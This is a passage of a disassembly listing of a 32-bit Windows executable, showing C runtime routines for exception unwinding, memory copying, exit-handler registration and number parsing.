fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_415F8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415FB3(double)
sub_415FB3 proc near ; CODE XREF: sub_4046AA+82p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_437D48
call sub_419E26
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_416039
call sub_419CEE
pop ecx
test eax, eax
pop ecx
jle short loc_41601C
cmp eax, 2
jle short loc_41600E
cmp eax, 3
jnz short loc_41601C
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_4195FE
add esp, 10h
jmp short loc_41607E
; ---------------------------------------------------------------------------
loc_41600E: ; CODE XREF: sub_415FB3+3Fj
push esi
push ebx
call sub_419E26
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41607E
; ---------------------------------------------------------------------------
loc_41601C: ; CODE XREF: sub_415FB3+3Aj
; sub_415FB3+44j
fld [ebp+arg_0]
fadd dbl_421670
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_416076
; ---------------------------------------------------------------------------
loc_416039: ; CODE XREF: sub_415FB3+2Fj
call sub_419CB3
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41605C
loc_41604E: ; CODE XREF: sub_415FB3+ACj
push esi
push ebx
call sub_419E26
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41607E
; ---------------------------------------------------------------------------
loc_41605C: ; CODE XREF: sub_415FB3+99j
test bl, 20h
jnz short loc_41604E
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_416076: ; CODE XREF: sub_415FB3+84j
call sub_419651
add esp, 1Ch
loc_41607E: ; CODE XREF: sub_415FB3+59j
; sub_415FB3+67j ...
pop esi
pop ebx
leave
retn
sub_415FB3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416082 proc near ; CODE XREF: sub_41A74E+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_416082 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_4160B6 proc near ; CODE XREF: sub_41A8FF+199p
; sub_41AAC3+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_4160B6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4160BD proc near ; CODE XREF: sub_41A8FF+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_4160BD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4160C4 proc near ; CODE XREF: sub_416276+5Cp
; sub_41A74E:loc_41A77Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_4160EC
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_42010C ; RtlUnwind
loc_4160EC: ; DATA XREF: sub_4160C4+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_4160C4 endp
; ---------------------------------------------------------------------------
loc_416113: ; CODE XREF: .nsp0:00420268j
; .nsp0:00420285j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_41A353
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416149 proc near ; CODE XREF: sub_41A7C9+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41619D
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_41AB50
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_416149 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41619D proc near ; DATA XREF: sub_416149+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_41A353
add esp, 20h
pop ebp
retn
sub_41619D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4161C2 proc near ; CODE XREF: sub_41A595+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_416276
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_416248
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_469514
pop ecx
pop ecx
and [ebp+var_34], 0
loc_416248: ; DATA XREF: sub_4161C2+3Co
cmp [ebp+var_4], 0
jz short loc_416265
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41626E
; ---------------------------------------------------------------------------
loc_416265: ; CODE XREF: sub_4161C2+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41626E: ; CODE XREF: sub_4161C2+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_4161C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416276 proc near ; DATA XREF: sub_4161C2+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_416299
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_4162E6
; ---------------------------------------------------------------------------
loc_416299: ; CODE XREF: sub_416276+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_41A353
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_4162D7
push [ebp+arg_0]
push [ebp+arg_4]
call sub_4160C4
loc_4162D7: ; CODE XREF: sub_416276+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_4162E6: ; CODE XREF: sub_416276+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_416276 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4162EB proc near ; CODE XREF: sub_41A3EE+C6p
; sub_41A595+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_416342
loc_416309: ; CODE XREF: sub_4162EB+52j
cmp esi, 0FFFFFFFFh
jnz short loc_416313
call sub_41ABF2
loc_416313: ; CODE XREF: sub_4162EB+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_416328
cmp ecx, [eax+8]
jle short loc_41632D
loc_416328: ; CODE XREF: sub_4162EB+36j
cmp esi, 0FFFFFFFFh
jnz short loc_416339
loc_41632D: ; CODE XREF: sub_4162EB+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_416339: ; CODE XREF: sub_4162EB+40j
cmp [ebp+arg_4], 0
jge short loc_416309
mov eax, [ebp+var_4]
loc_416342: ; CODE XREF: sub_4162EB+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_416356
cmp esi, eax
jbe short loc_41635B
loc_416356: ; CODE XREF: sub_4162EB+65j
call sub_41ABF2
loc_41635B: ; CODE XREF: sub_4162EB+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_4162EB endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416368 proc near ; CODE XREF: sub_41CE08+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_416380
push [ebp+arg_0]
call sub_42010C ; RtlUnwind
loc_416380: ; DATA XREF: sub_416368+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_416368 endp
; =============== S U B R O U T I N E =======================================
sub_416388 proc near ; DATA XREF: sub_4163AA+Ao
; sub_416412+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_4163A9
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_4163A9: ; CODE XREF: sub_416388+10j
retn
sub_416388 endp
; =============== S U B R O U T I N E =======================================
sub_4163AA proc near ; CODE XREF: sub_41A86F+Dp
; sub_41CE08+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_416388
push large dword ptr fs:0
mov large fs:0, esp
loc_4163C7: ; CODE XREF: sub_4163AA:loc_416402j
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_416404
cmp esi, [esp+1Ch+arg_4]
jz short loc_416404
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_416402
push 101h
mov eax, [ebx+esi*4+8]
call sub_41643E
call dword ptr [ebx+esi*4+8]
loc_416402: ; CODE XREF: sub_4163AA+44j
jmp short loc_4163C7
; ---------------------------------------------------------------------------
loc_416404: ; CODE XREF: sub_4163AA+2Aj
; sub_4163AA+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_4163AA endp
; =============== S U B R O U T I N E =======================================
sub_416412 proc near ; CODE XREF: sub_41A88F+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_416388
jnz short locret_416434
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_416434
mov eax, 1
locret_416434: ; CODE XREF: sub_416412+10j
; sub_416412+1Bj
retn
sub_416412 endp
; =============== S U B R O U T I N E =======================================
sub_416435 proc near ; CODE XREF: sub_41AB50+1Ep
; sub_41AB50+40p
push ebx
push ecx
mov ebx, offset dword_437D4C
jmp short loc_416448
sub_416435 endp
; =============== S U B R O U T I N E =======================================
sub_41643E proc near ; CODE XREF: sub_4163AA+4Fp
; sub_41CE08+78p
push ebx
push ecx
mov ebx, offset dword_437D4C
mov ecx, [ebp+8]
loc_416448: ; CODE XREF: sub_416435+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41643E endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_416458 proc near ; CODE XREF: sub_4046AA+5p
; sub_40484C+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_416458 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_416477 proc near ; CODE XREF: sub_404D21+26p
; .nsp0:0041FEE5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_415E3D
pop ecx
retn
sub_416477 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416490 proc near ; CODE XREF: sub_404D92+3Ap
; sub_418B28+2EEp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_4164B0
cmp edi, eax
jb loc_416628
loc_4164B0: ; CODE XREF: sub_416490+16j
test edi, 3
jnz short loc_4164CC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4164EC
rep movsd
jmp off_4165D8[edx*4]
; ---------------------------------------------------------------------------
loc_4164CC: ; CODE XREF: sub_416490+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_4164E4
and eax, 3
add ecx, eax
jmp dword ptr loc_4164EC+4[eax*4]
; ---------------------------------------------------------------------------
loc_4164E4: ; CODE XREF: sub_416490+46j
jmp dword ptr loc_4165E8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4164EC: ; CODE XREF: sub_416490+31j
; sub_416490+8Ej ...
jmp off_41656C[ecx*4]
; ---------------------------------------------------------------------------
db 90h
dd offset loc_416500
dd offset loc_41652C
dd offset loc_416550
; ---------------------------------------------------------------------------
loc_416500: ; DATA XREF: sub_416490+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_4164EC
rep movsd
jmp off_4165D8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41652C: ; DATA XREF: sub_416490+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_4164EC
rep movsd
jmp off_4165D8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_416550: ; DATA XREF: sub_416490+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_4164EC
rep movsd
jmp off_4165D8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41656C dd offset loc_4165CF ; DATA XREF: sub_416490:loc_4164ECr
dd offset loc_4165BC
dd offset loc_4165B4
dd offset loc_4165AC
dd offset loc_4165A4
dd offset loc_41659C
dd offset loc_416594
dd offset loc_41658C
; ---------------------------------------------------------------------------
loc_41658C: ; CODE XREF: sub_416490:loc_4164ECj
; DATA XREF: sub_416490+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_416594: ; CODE XREF: sub_416490:loc_4164ECj
; DATA XREF: sub_416490+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41659C: ; CODE XREF: sub_416490:loc_4164ECj
; DATA XREF: sub_416490+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_4165A4: ; CODE XREF: sub_416490:loc_4164ECj
; DATA XREF: sub_416490+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_4165AC: ; CODE XREF: sub_416490:loc_4164ECj
; DATA XREF: sub_416490+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4165B4: ; CODE XREF: sub_416490:loc_4164ECj
; DATA XREF: sub_416490+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4165BC: ; CODE XREF: sub_416490:loc_4164ECj
; DATA XREF: sub_416490+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4165CF: ; CODE XREF: sub_416490:loc_4164ECj
; DATA XREF: sub_416490:off_41656Co
jmp off_4165D8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4165D8 dd offset loc_4165E8 ; DATA XREF: sub_416490+35r
; sub_416490+92r ...
dd offset loc_4165F0
dd offset loc_4165FC
dd offset loc_416610
; ---------------------------------------------------------------------------
loc_4165E8: ; CODE XREF: sub_416490+35j
; sub_416490+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4165F0: ; CODE XREF: sub_416490+35j
; sub_416490+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4165FC: ; CODE XREF: sub_416490+35j
; sub_416490+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_416610: ; CODE XREF: sub_416490+35j
; sub_416490+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_416628: ; CODE XREF: sub_416490+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41665C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_416650
std
rep movsd
cld
jmp off_416770[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_416650: ; CODE XREF: sub_416490+1B1j
; sub_416490+208j ...
neg ecx
jmp off_416720[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41665C: ; CODE XREF: sub_416490+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_416674
and eax, 3
sub ecx, eax
jmp dword ptr loc_416674+4[eax*4]
; ---------------------------------------------------------------------------
loc_416674: ; CODE XREF: sub_416490+1D6j
; DATA XREF: sub_416490+1DDr
jmp off_416770[ecx*4]
; ---------------------------------------------------------------------------
align 4
mov [esi+41h], ah
add [eax-2FFFBE9Ah], ch
inc cx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_416650
std
rep movsd
cld
jmp off_416770[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_416650
std
rep movsd
cld
jmp off_416770[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_416650
std
rep movsd
cld
jmp off_416770[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_416724
dd offset loc_41672C
dd offset loc_416734
dd offset loc_41673C
dd offset loc_416744
dd offset loc_41674C
dd offset loc_416754
off_416720 dd offset loc_416767 ; DATA XREF: sub_416490+1C2r
; ---------------------------------------------------------------------------
loc_416724: ; DATA XREF: sub_416490+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41672C: ; DATA XREF: sub_416490+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_416734: ; DATA XREF: sub_416490+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41673C: ; DATA XREF: sub_416490+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_416744: ; DATA XREF: sub_416490+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41674C: ; DATA XREF: sub_416490+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_416754: ; DATA XREF: sub_416490+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_416767: ; CODE XREF: sub_416490+1C2j
; DATA XREF: sub_416490:off_416720o
jmp off_416770[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_416770 dd offset loc_416780 ; DATA XREF: sub_416490+1B7r
; sub_416490:loc_416674r ...
dd offset loc_416788
dd offset loc_416798
dd offset loc_4167AC
; ---------------------------------------------------------------------------
loc_416780: ; CODE XREF: sub_416490+1B7j
; sub_416490:loc_416674j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_416788: ; CODE XREF: sub_416490+1B7j
; sub_416490:loc_416674j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_416798: ; CODE XREF: sub_416490+1B7j
; sub_416490:loc_416674j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4167AC: ; CODE XREF: sub_416490+1B7j
; sub_416490:loc_416674j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_416490 endp
; =============== S U B R O U T I N E =======================================
sub_4167C5 proc near ; CODE XREF: sub_404DF9+34p
; sub_404DF9+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_415DDB
pop ecx
pop ecx
retn
sub_4167C5 endp
; =============== S U B R O U T I N E =======================================
sub_4167D3 proc near ; CODE XREF: sub_416840+4p
arg_0 = dword ptr 4
push esi
push dword_46AB14
call sub_41AC48
mov edx, dword_46AB14
pop ecx
mov ecx, dword_46AB10
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_416832
push edx
call sub_41AC48
add eax, 10h
push eax
push dword_46AB14
call sub_4174DF
add esp, 0Ch
test eax, eax
jnz short loc_416815
retn
; ---------------------------------------------------------------------------
loc_416815: ; CODE XREF: sub_4167D3+3Fj
mov ecx, dword_46AB10
sub ecx, dword_46AB14
mov dword_46AB14, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_46AB10, ecx
loc_416832: ; CODE XREF: sub_4167D3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_46AB10, 4
retn
sub_4167D3 endp
; =============== S U B R O U T I N E =======================================
sub_416840 proc near ; CODE XREF: sub_404EE6+1Ap
; sub_4200EE+5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4167D3
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_416840 endp
; =============== S U B R O U T I N E =======================================
sub_416852 proc near ; DATA XREF: .nsp0:00423018o
push 80h
call sub_415DC9
test eax, eax
pop ecx
mov dword_46AB14, eax
jnz short loc_416873
push 18h
call sub_417BEE
mov eax, dword_46AB14
pop ecx
loc_416873: ; CODE XREF: sub_416852+12j
and dword ptr [eax], 0
mov eax, dword_46AB14
mov dword_46AB10, eax
retn
sub_416852 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416881 proc near ; CODE XREF: sub_416A89+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_416899: ; CODE XREF: sub_416881+46j
cmp dword_437F7C, 1
jle short loc_4168B1
movzx eax, bl
push 8
push eax
call sub_418556
pop ecx
pop ecx
jmp short loc_4168C0
; ---------------------------------------------------------------------------
loc_4168B1: ; CODE XREF: sub_416881+1Fj
mov ecx, off_437D70
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_4168C0: ; CODE XREF: sub_416881+2Ej
test eax, eax
jz short loc_4168C9
mov bl, [esi]
inc esi
jmp short loc_416899
; ---------------------------------------------------------------------------
loc_4168C9: ; CODE XREF: sub_416881+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_4168D7
or [ebp+arg_C], 2
jmp short loc_4168DC
; ---------------------------------------------------------------------------
loc_4168D7: ; CODE XREF: sub_416881+4Ej
cmp bl, 2Bh
jnz short loc_4168E2
loc_4168DC: ; CODE XREF: sub_416881+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_4168E2: ; CODE XREF: sub_416881+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_416A79
cmp eax, 1
jz loc_416A79
cmp eax, 24h
jg loc_416A79
push 10h
test eax, eax
pop ecx
jnz short loc_41692A
cmp bl, 30h
jz short loc_416914
mov [ebp+arg_8], 0Ah
jmp short loc_416946
; ---------------------------------------------------------------------------
loc_416914: ; CODE XREF: sub_416881+88j
mov al, [esi]
cmp al, 78h
jz short loc_416927
cmp al, 58h
jz short loc_416927
mov [ebp+arg_8], 8
jmp short loc_416946
; ---------------------------------------------------------------------------
loc_416927: ; CODE XREF: sub_416881+97j
; sub_416881+9Bj
mov [ebp+arg_8], ecx
loc_41692A: ; CODE XREF: sub_416881+83j
cmp [ebp+arg_8], ecx
jnz short loc_416946
cmp bl, 30h
jnz short loc_416946
mov al, [esi]
cmp al, 78h
jz short loc_41693E
cmp al, 58h
jnz short loc_416946
loc_41693E: ; CODE XREF: sub_416881+B7j
